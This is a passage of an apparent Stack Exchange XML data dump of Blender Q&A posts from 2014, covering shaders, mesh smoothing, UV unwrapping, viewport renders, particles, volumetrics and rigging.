&lt;em&gt;Material&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/snhBk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-01-28T06:19:50.457" LastActivityDate="2015-01-28T06:19:50.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18835" PostTypeId="1" CreationDate="2014-11-14T06:01:48.873" Score="2" ViewCount="768" Body="&lt;p&gt;I have tried to make it with a Glossy shader node. But I either get glossy with reflections or matte surface with small reflective details.&lt;/p&gt;&#xA;" OwnerUserId="7986" LastEditorUserId="241" LastEditDate="2014-11-14T11:20:11.500" LastActivityDate="2014-11-15T01:55:23.560" Title="How do I make a specular surface without reflections?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18838" PostTypeId="1" CreationDate="2014-11-14T10:48:05.093" Score="2" ViewCount="3034" Body="&lt;p&gt;I do not know why it curl. What is happening is clearly visible in the photo. It's a simple thing, but I do not know a dream board.! I'd like to smoothly cut off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yjx71.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7989" LastEditorUserId="241" LastEditDate="2014-11-14T11:15:16.323" LastActivityDate="2014-11-14T16:47:06.323" Title="How do I smooth a subdivided surface?" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18840" PostTypeId="2" ParentId="18821" CreationDate="2014-11-14T12:31:22.313" Score="2" Body="&lt;p&gt;You have several objects selected and then you have gone into edit mode on one object, the active one. This is evident by the fact that the entire ship appears to be selected (from the orange outline) yet it's vertex data is not shown. This may be misleading you if you expect the entire ship to show in the UV editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only the selected faces of the active object will show in the UV editor, in your screen shot you only have 2 vertices selected, which is why no UV faces of the object are shown. Press &lt;kbd&gt;A&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to de-select the two vertices and then select all of the vertices in the active object, then unwrap and then they will show spread out in the UV editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to repeat this for each object unless you wish to join them together into one.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-11-14T12:31:22.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18842" PostTypeId="2" ParentId="18835" CreationDate="2014-11-14T13:24:54.467" Score="1" Body="&lt;p&gt;A glossy shader will show reflections of objects and lights around it. To remove the reflections you want to separate the object by using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Post_Process/Layers&quot; rel=&quot;nofollow noreferrer&quot;&gt;render layers&lt;/a&gt; and then composite it together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trick to what you want to achieve is to have the object on a scene layer by itself, then setup a render layer to show that one scene layer and exclude other scene layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here layer 2 is enabled and layer 1 is excluded&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bZxXB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Giving you this ball by itself&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wKMeH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the other layer still sees it so has reflections of the ball in between.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u4kRQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;composited together you get a ball in the middle without reflections&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PMg2x.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-11-14T13:24:54.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18843" PostTypeId="2" ParentId="18832" CreationDate="2014-11-14T13:42:52.287" Score="4" Body="&lt;p&gt;The step sizes for properties are programmed in and not easily user adjustable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While clicking the arrows will always step in the same amount there are a couple of keys that can help if you drag the value instead of clicking each arrow. Holding &lt;kbd&gt;shift&lt;/kbd&gt; while dragging will step in smaller sizes, &lt;kbd&gt;Alt&lt;/kbd&gt; smaller again (generally half of shift steps) and together even slower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These adjustments are dynamic, so you can start dragging the value to get close, then hold &lt;kbd&gt;shift&lt;/kbd&gt; to slow it down to get the final value.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-11-14T13:42:52.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18844" PostTypeId="1" CreationDate="2014-11-14T14:07:27.253" Score="4" ViewCount="810" Body="&lt;p&gt;I have a model that has animation and I am rendering out to a png sequence.&#xA;This animation will be used in a web page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that there are some items that are showing up in the render that are not part of the model. &#xA;They are vertical black lines with a dashed line/circle at the top that has a solid circle inside that.&#xA;They show up in the rendered pngs whether I used material or rendered option in the output view panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attached an screen grab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find where these are located in the scene.&lt;br&gt;&#xA;I don't know if they are lights or what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I turn them off so they don't render in my png files?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/n3o8R.png&quot; alt=&quot;screen shot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7992" LastEditorUserId="2217" LastEditDate="2014-11-14T14:55:48.453" LastActivityDate="2014-11-14T14:55:48.453" Title="What are these items that are showing up in the viewport render" Tags="&lt;rendering&gt;&lt;3d-view&gt;&lt;opengl&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18845" PostTypeId="2" ParentId="18844" CreationDate="2014-11-14T14:35:56.187" Score="3" Body="&lt;p&gt;You seem to be doing an &lt;em&gt;OpenGL&lt;/em&gt; render which basically gives you a quick snapshot of everything in the viewport. Those &quot;items&quot; are &lt;em&gt;Point&lt;/em&gt; lamps that light the scene and shouldn't show in a final render that uses correct lighting, aliasing and a world background etc (which I am assuming is what you probably want).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If however you want this quick preview minus the distractions, you can simply hide the lamps by selecting them and pressing &lt;kbd&gt;H&lt;/kbd&gt;, to unhide them later, use &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To render an image in Blender using the default render engine (Blender Internal) press &lt;kbd&gt;F12&lt;/kbd&gt; and to render an animation sequence, refer to &lt;a href=&quot;https://blender.stackexchange.com/questions/15142/how-to-render-an-animation-in-blender&quot;&gt;How to render an animation as video in Blender?&lt;/a&gt;. Both these and the &lt;em&gt;OpenGL&lt;/em&gt; render options are available from the &lt;em&gt;Render&lt;/em&gt; menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xatE9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-11-14T14:46:56.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18846" PostTypeId="2" ParentId="18844" CreationDate="2014-11-14T14:50:08.910" Score="5" Body="&lt;p&gt;To render just your model without any lights, cameras, empties, or armatures getting in the render; simply turn on &lt;em&gt;Only Render&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Only Render&lt;/em&gt;  checkbox is in the &lt;em&gt;Properties&lt;/em&gt; panel &lt;kbd&gt;N&lt;/kbd&gt; under the &lt;em&gt;Display&lt;/em&gt; category.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vZelC.png&quot; alt=&quot;Only Render&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-11-14T14:50:08.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18847" PostTypeId="2" ParentId="18835" CreationDate="2014-11-14T14:57:14.627" Score="2" Body="&lt;p&gt;Gloss is essentially the same thing as specularity.  Glossy means that rays reflect off the surface at the angle of incidence (specular angle), producing a reflection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://en.wikipedia.org/wiki/Gloss_(optics)&quot; rel=&quot;nofollow&quot;&gt;Wikipedia page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Gloss is an optical property of a surface to reflect light in a specular (mirror-like) direction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;By definition&lt;/em&gt;, gloss (or specularity) will give you reflections, and thus “gloss without reflections” is a self contradicting statement.  So, short of some compositing tricks as sambler has explained in his answer, it isn't really possible to have gloss without reflections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;roughness&lt;/em&gt; slider simulates miniscule roughness in the surface by scattering rays slightly away from the angle of incidence, giving the matte-like shading.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2014-11-14T14:57:14.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18849" PostTypeId="2" ParentId="18838" CreationDate="2014-11-14T16:47:06.323" Score="5" Body="&lt;p&gt;I think the best way is to build this mesh again. Here is my solution on how to do it properly:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a low poly (8 vertices for example) cylinder and subdivide it as many times you like verticaly/ horizontaly. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3WGNS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Select single edge and press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;--&gt; Cursor to Selected.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/idbIe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; and move the cursor from left to right (or input a value 1). It will make the edge spherical.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ncFfB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Repeat the proces with other edge loops. Select the next one and press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;. Make all of them spherical and then cut the holes.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hDS09.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Delete half of the cylinder and scale it in y axis using &lt;em&gt;proportional editing&lt;/em&gt;. Now all look super smooth.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SH2zE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2014-11-14T16:47:06.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18851" PostTypeId="1" AcceptedAnswerId="18852" CreationDate="2014-11-14T17:01:51.457" Score="1" ViewCount="508" Body="&lt;p&gt;I want to make the particle system to flow from dynamic texture using the density property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately for some reason particle system memorise only the first frame of the texture, and ignore future changes of the texture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hints how making this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uGxkV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1751" LastActivityDate="2014-11-14T17:25:25.493" Title="Particle density animation using dynamic texture" Tags="&lt;texturing&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18852" PostTypeId="2" ParentId="18851" CreationDate="2014-11-14T17:13:37.660" Score="3" Body="&lt;p&gt;Unfortunately, this is a known limitation of the particle system as noted in a bug report &lt;a href=&quot;https://developer.blender.org/T34063&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To quote Brecht Van Lommel, from that bug report:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The location of emitted particles are determined in advance now and&#xA;  stay fixed, so this can't be animated. There's been some working on&#xA;  designing an improved particle system that can handle such animations&#xA;  but it's not finished&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is currently listed as a 'To do' item on the development section of the blender wiki &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Source/Development/Todo/Tools#Particles&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2014-11-14T17:25:25.493" LastActivityDate="2014-11-14T17:25:25.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18853" PostTypeId="1" AcceptedAnswerId="18892" CreationDate="2014-11-14T17:46:49.193" Score="4" ViewCount="1225" Body="&lt;p&gt;When are tris appropriate to use on a model and where are they usually seen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this image of a popcorn container (from turbosquid), uses tris for the top half circles and the edge corners on the bottom. Is this use of tris appropriate for this kind of model? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why are triangles added at the bottom corners?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/JooKA9l.jpg&quot; alt=&quot;popcorn container with triangles&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7524" LastActivityDate="2018-12-15T13:12:21.037" Title="When are tris used effectively?" Tags="&lt;topology&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18854" PostTypeId="1" AcceptedAnswerId="18861" CreationDate="2014-11-14T18:20:14.813" Score="8" ViewCount="14156" Body="&lt;p&gt;As a 3D/2D hobbyist myself who try to use the most free/open source software when I can, blender has become my default 3D software. For the 2D side (texturing and image editing) GIMP was the default one for many years but I start to reconsider it. It may be just me but I think most people start to change their work-flow from a destructive one to a non destructive one. In that regard, GIMP work-flow is mostly destructive. For example, if you apply a color curve tool in GIMP, its effects are &quot;merged&quot; with the layer and you lose the ability to change the curve later on. So I wonder, could Blender be used as an image manipulator in an efficient way or does the compositing in blender lack features for being a great (non-destructive) image manipulation tool ? Then, what free/open source software would you recommend for this task ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize that the question is a bit broader that blender itself but I think it is fair to say that in order to do anything related to 3D, you will need, sooner or later, a good image manipulation software.&lt;/p&gt;&#xA;" OwnerUserId="7994" LastEditorUserId="599" LastEditDate="2014-11-15T03:05:46.183" LastActivityDate="2015-09-02T01:52:41.100" Title="Blender as an image editor software?" Tags="&lt;editing&gt;&lt;image&gt;" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18855" PostTypeId="1" CreationDate="2014-11-14T18:31:15.577" Score="0" ViewCount="285" Body="&lt;p&gt;I imported an STL model of a piece of Star Lord's mask (originally from &lt;a href=&quot;http://www.therpf.com/f78/star-lord-helmet-accessories-helagak-208660/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The RPF thread&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how a part of the mask looks like in Blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nKzDo.jpg&quot; alt=&quot;Star Lord mask bottom part&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I intend to use a 3D printer to print this part, and I would like to &quot;smoothen&quot; the hard angle, so that I will not need support to print this part. Something like this (mocked using a 2D program, just a small example):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0RrH8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the back side of the mask, so I don't mind deforming it a bit to reduce the need for support material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the existing mesh is quite dense, and I don't want to move 1000 vertexes. I tried proportional editing, but I don't feel like I have enough control there. Also, even with connected editing, I managed to deform the other side of the mask&#xA;(where I don't want to change anything) near the edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips on how to do this? (would have been really easy with real clay...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1356" LastActivityDate="2015-11-27T11:43:02.997" Title="Modify complex mesh to sotfen hard angles (eventually for 3D printing)" Tags="&lt;mesh&gt;&lt;3d-printing&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18856" PostTypeId="2" ParentId="15845" CreationDate="2014-11-14T20:54:13.297" Score="3" Body="&lt;p&gt;The easiest way would be to use &lt;em&gt;Drivers&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select your character, and, in the Properties panel, switch to the Particle System tab; At the top, there's a &lt;code&gt;Hair Length&lt;/code&gt; field - press &lt;kbd&gt;RMB&lt;/kbd&gt; (Right Click) and select &lt;em&gt;Add Driver&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, switch to the &lt;em&gt;Graph Editor&lt;/em&gt; (you could switch a Window to this, but it's easier, from the Default Screen Layout, to double press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Left Arrow&lt;/kbd&gt; or to go to the Header and click besides &quot;Default&quot; and choose &lt;em&gt;Animation&lt;/em&gt;), set type to &lt;em&gt;Drivers&lt;/em&gt;, press &lt;kbd&gt;N&lt;/kbd&gt; and select your driver from the left side. Select your objects name on the Obj field, then set the type to either X, Y or Z scale. set the Expression to be &lt;code&gt;scale * var&lt;/code&gt;, where &lt;em&gt;scale&lt;/em&gt; is the &lt;em&gt;Hair Length&lt;/em&gt; and &lt;em&gt;var&lt;/em&gt; is the variable you just setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when you scale your object up, the hair will scale properly.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-11-14T20:54:13.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18857" PostTypeId="1" AcceptedAnswerId="18859" CreationDate="2014-11-14T20:57:16.120" Score="8" ViewCount="3255" Body="&lt;p&gt;I have encountered an issue with Cycles Volumetrics in a recent scene. I am using Blender 2.72, and both CPU and GPU render options. In both I get a solid black artifact when I have two volumes overlapping, as in this campfire smoke test:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yi5cx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a solid cube, with a volume scatter and volume absorption material, duplicated by a particle system. As you can see, when the particles get higher up and farther apart, and are no longer overlapping, the artifacts disappear.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="599" LastEditDate="2014-11-14T22:06:11.060" LastActivityDate="2014-11-14T22:06:11.060" Title="How to eliminate Cycles artifacts with many overlapping volumes?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18858" PostTypeId="1" AcceptedAnswerId="18885" CreationDate="2014-11-14T21:37:26.503" Score="2" ViewCount="476" Body="&lt;p&gt;Adding IK constraint with target and pole over &lt;strong&gt;subdivided&lt;/strong&gt; bone chain don't bend&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add single bone&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Subdivide(W)&lt;/strong&gt; in two&lt;/li&gt;&#xA;&lt;li&gt;Extrude from final tail the target and clear parent&lt;/li&gt;&#xA;&lt;li&gt;Add new pole bone in front of first joint&lt;/li&gt;&#xA;&lt;li&gt;Add IK constraint with target. &lt;strong&gt;With this configuration the ik works well&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;When &lt;strong&gt;pole bone&lt;/strong&gt; is added in IK constraint &lt;strong&gt;the joint don't bend&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The bones transformations arent blocked in bone panel. The same configuration with &lt;strong&gt;extruded bones&lt;/strong&gt; work well. Where is the blocking configuration option?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/32867&quot; rel=&quot;nofollow&quot;&gt;Blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2014-11-15T17:22:51.667" Title="IK with pole over subdivided bone chain don't bend" Tags="&lt;armature&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18859" PostTypeId="2" ParentId="18857" CreationDate="2014-11-14T21:44:27.177" Score="7" Body="&lt;p&gt;Try increasing the number of &lt;em&gt;Transparent bounces&lt;/em&gt; in &lt;em&gt;Render settings &gt; Light paths&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8X7JS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason this happens is because when there is nothing plugged into the &lt;em&gt;surface&lt;/em&gt; output of the material output node, it behaves like a transparent shader. When a ray goes through a set number of transparent surfaces (as defined by the value in &lt;em&gt;max bounces&lt;/em&gt;), it will stop and just return nothing (resulting in a &quot;black surface&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid these black surfaces, ensure that the max bounces are high enough. Note that forcing too many bounces can cause a noticeable slowdown when rendering due to the extra bounces which need to be calculated. This is especially true when setting the number of min bounces as well, and in cases which allow high numbers of bounces before the ray can escape to the sky (such as an indoor scene).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ceXck.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-11-14T21:58:05.070" LastActivityDate="2014-11-14T21:58:05.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18860" PostTypeId="2" ParentId="3370" CreationDate="2014-11-14T21:49:56.897" Score="0" Body="&lt;p&gt;Here is my adaptation of a technique I found in the &lt;a href=&quot;https://bwide.wordpress.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;b°wide node pack&lt;/a&gt;'s &lt;em&gt;fake AO&lt;/em&gt; node group.  It works by subtracting the &lt;em&gt;normal&lt;/em&gt; and &lt;em&gt;true normal&lt;/em&gt; vectors, which on a smooth shaded mesh are the smoothed and original (non-smoothed) normals respectively.  So closer to the corners of the mesh there will be a greater difference between the two and thus the subtraction will give a higher value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only downsides to this method are that it requires the mesh be smooth shaded and the mesh must be subdivided.  You can get around the first one by plugging the &lt;em&gt;true normal&lt;/em&gt; into the &lt;em&gt;normal&lt;/em&gt; socket of the shader as I have done in the example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the render with the output of the subtraction plugged into a diffuse shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yhgWx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uuYem.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the mesh (as you can see it is smooth shaded):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YCfVD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can then be baked using cycles baking to create the map you are looking for.  I use this technique fairly regularly on materials for mainly old metal and rocks.  As an aside, two slightly different gray diffuse shaders mixed based on this make an amazingly realistic material on a high poly, hand-sculpted, rock.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2014-11-14T23:17:39.577" LastActivityDate="2014-11-14T23:17:39.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18861" PostTypeId="2" ParentId="18854" CreationDate="2014-11-14T21:50:56.753" Score="2" Body="&lt;p&gt;A few people in the comments mentioned Inkscape for vector editing. Inkscape is extremely non-destructive because everything is a shape. However, it's not great for image manipulation, which is GIMP's primary goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender as a 2D editor would actually be extremely difficult to use. The image painting in Blender is fine for texturing (and even there it's kinda weak compared to other 3D packages, something they'll be fixing in the upcoming releases), but would be hard to work with if you just want to do image manipulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Even though GIMP isn't the best image manipulation program in the world, it's really the only option at the moment&lt;/strong&gt; (if you want something open source). There's also &lt;a href=&quot;https://en.wikipedia.org/wiki/CinePaint&quot; rel=&quot;nofollow&quot;&gt;CinePaint&lt;/a&gt; which is a fork of GIMP with some extra features, but I can't vouch for it, as I haven't used it at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last thing worth mentioning is that if you're on OS X, there are loads of cheaper image editors. One that I've used is &lt;a href=&quot;http://www.pixelmator.com/mac/&quot; rel=&quot;nofollow&quot;&gt;PixelMator&lt;/a&gt;. It's light weight, intuitive, mostly non-destructive and in most cases just as good as PhotoShop.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2014-11-15T14:17:43.007" LastActivityDate="2014-11-15T14:17:43.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18862" PostTypeId="1" AcceptedAnswerId="18980" CreationDate="2014-11-14T22:24:22.983" Score="7" ViewCount="2558" Body="&lt;p&gt;I am a new to the blender.&#xA;While I was painting texture to the mesh surface, I noticed that if I move camera(view) even a little bit and paint again, the new painted area texture tiles are different sizes than other previous painted texture tiles. If I zoom the camera and paint, texture tiles are smaller in the mesh surface, If I zoom out texture tiles are bigger. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I lock the texture tile size so that if I zoom in or zoom out, it doesn't affect to tile size? &lt;/p&gt;&#xA;" OwnerUserId="7998" LastEditorUserId="7998" LastEditDate="2014-11-16T16:19:37.877" LastActivityDate="2016-10-24T04:39:24.840" Title="How to lock texture tile size while painting?" Tags="&lt;texturing&gt;&lt;camera&gt;&lt;texture-painting&gt;&lt;units&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18863" PostTypeId="1" AcceptedAnswerId="18883" CreationDate="2014-11-14T23:18:31.153" Score="0" ViewCount="2450" Body="&lt;p&gt;I have a Rigid Body object that I want to be animated at a specific time. Can I animate it using the Blender Game engine? Also, is pressing &lt;kbd&gt;P&lt;/kbd&gt; the only way to see it (can I see it using &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;)?&lt;/p&gt;&#xA;" OwnerDisplayName="user7831" LastEditorUserId="2217" LastEditDate="2014-11-14T23:38:25.280" LastActivityDate="2014-11-15T16:15:32.197" Title="Keyframing Physics Animation" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
